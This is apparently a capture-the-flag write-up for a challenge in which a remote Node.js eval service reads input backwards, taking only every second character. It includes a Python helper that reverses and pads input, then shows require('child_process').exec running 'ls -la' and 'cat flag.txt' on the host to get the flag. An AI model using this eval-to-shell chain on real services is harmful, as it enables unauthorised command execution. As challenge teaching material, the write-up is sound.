This is some kind of weird thing. I am sh-ocked.

Service: 188.166.133.53:12589

After connecting to the specified service, we’ll get a prompt looking like a shell at first.

But after trying some commands, it gets obvious, that this ain’t your normal shell, and it also has an awkward way of reading input.

$ nc 188.166.133.53 12589
Welcome and have fun!
$ls
[ReferenceError: l is not defined]
$abcdefg
[ReferenceError: fdb is not defined]

The error message reveals, that our input gets parsed backwards and it only reads every second character.

Adapting to this:

$l.a.v.e.
[Function: eval]

It seems to be some javascript interpreter. To make it a bit easier to communicate with the service, I wrote a (quick&dirty) python script, which reverses the input and adds the needed placeholders. It then occured, that the longer our command is, the more placeholders were needed (count of dots found by empirical analysis ;-))

#!/usr/bin/python
from socket import *
import sys
import time

BANNER = "Welcome and have fun!\n"

s = None

def connect():
	global s
	s = socket(AF_INET, SOCK_STREAM)
	s.connect(("188.166.133.53",12589))
	banner = s.recv(len(BANNER))
	print banner

def obfuscate(cmd):
	rev = cmd[::-1]
	res = ""

	for ch in rev:
		res += ch

		if len(cmd)<5:
			res += "."
		elif len(cmd)<6:
			res += ".."
		elif len(cmd)<8:
			res += "..."
		elif len(cmd)<9:
			res += "...."
		else:
			res += "....."
	
	return res

def execCmd():
	global s
	input = raw_input(prompt)
	cmd = obfuscate(input)+"\n"
	print "Cmd: %s" % cmd
	s.send(cmd)
	time.sleep(0.5)
	response = s.recv(4096)
	print "Response: %s" % response

connect()

prompt = s.recv(1)

while True:
	execCmd()

With this out of the way, we can start to find a way to exploit this thing.

$ python comm.py 
Welcome and have fun!

$sys=require('sys')
Cmd: ).....'.....s.....y.....s.....'.....(.....e.....r.....i.....u.....q.....e.....r.....=.....s.....y.....s.....

Response: { format: [Function],
  deprecate: [Function],
  debuglog: [Function],
  inspect: 
   { [Function: inspect]
[SNIP]
  _exceptionWithHostPort: [Function] }

$exec=require('child_process').exec
Cmd: c.....e.....x.....e...........).....'.....s.....s.....e.....c.....o.....r.....p....._.....d.....l.....i.....h.....c.....'.....(.....e.....r.....i.....u.....q.....e.....r.....=.....c.....e.....x.....e.....

Response: [Function]

$foo=exec("ls -la",function(error,stdout,stdin){sys.print(stdout)})
Cmd: ).....}.....).....t.....u.....o.....d.....t.....s.....(.....t.....n.....i.....r.....p...........s.....y.....s.....{.....).....n.....i.....d.....t.....s.....,.....t.....u.....o.....d.....t.....s.....,.....r.....o.....r.....r.....e.....(.....n.....o.....i.....t.....c.....n.....u.....f.....,.....".....a.....l.....-..... .....s.....l.....".....(.....c.....e.....x.....e.....=.....o.....o.....f.....

Response: ChildProcess {
  domain: null,
  _events: 
   { close: [Function: exithandler],
     error: [Function: errorhandler] },
  _eventsCount: 2,
  _maxListeners: undefined,
  _closesNeeded: 3,
  _closesGot: 0,
  connected: false,
  signalCode: null,
  exitCode: null,
  killed: false,
  spawnfile: '/bin/sh',
  _handle: Process { owner: [Circular], onexit: [Function], pid: 28225 },
  spawnargs: [ '/bin/sh', '-c', 'ls -la' ],
  pid: 28225,
[SNIP]

$foo()
Cmd: )..(..o..o..f..

Response: wHalfOpen: false,
     destroyed: false,
     bytesRead: 0,
     _bytesDispatched: 0,
     _sockname: null,
     _writev: null,
     _pendingData: null,
     _pendingEncoding: '' },
[SNIP]
       _pendingEncoding: '' } ] }
$total 16
drwxr-x---  2 root exp90 4096 Feb 21 03:23 .
drwxr-xr-x 14 root exp90 4096 Feb 11 12:19 ..
-rw-r--r--  1 root exp90   24 Feb 11 18:23 flag.txt
-rw-r--r--  1 root exp90 1011 Feb 11 18:23 task.js
[TypeError: foo is not a function]
$

There it is, let’s grab it and finish this…

$foo=exec("cat flag.txt",function(error,stdout,stdin){sys.print(stdout)})
Cmd: ).....}.....).....t.....u.....o.....d.....t.....s.....(.....t.....n.....i.....r.....p...........s.....y.....s.....{.....).....n.....i.....d.....t.....s.....,.....t.....u.....o.....d.....t.....s.....,.....r.....o.....r.....r.....e.....(.....n.....o.....i.....t.....c.....n.....u.....f.....,.....".....t.....x.....t...........g.....a.....l.....f..... .....t.....a.....c.....".....(.....c.....e.....x.....e.....=.....o.....o.....f.....

Response: ChildProcess {
  domain: null,
[SNIP]

$foo()
Cmd: )..(..o..o..f..

Response:   allowHalfOpen: false,
     destroyed: false,
     bytesRead: 0,
[SNIP]
       _pendingEncoding: '' } ] }
$IW{Shocked-for-nothing!}[TypeError: foo is not a function]

Flag: $IW{Shocked-for-nothing!}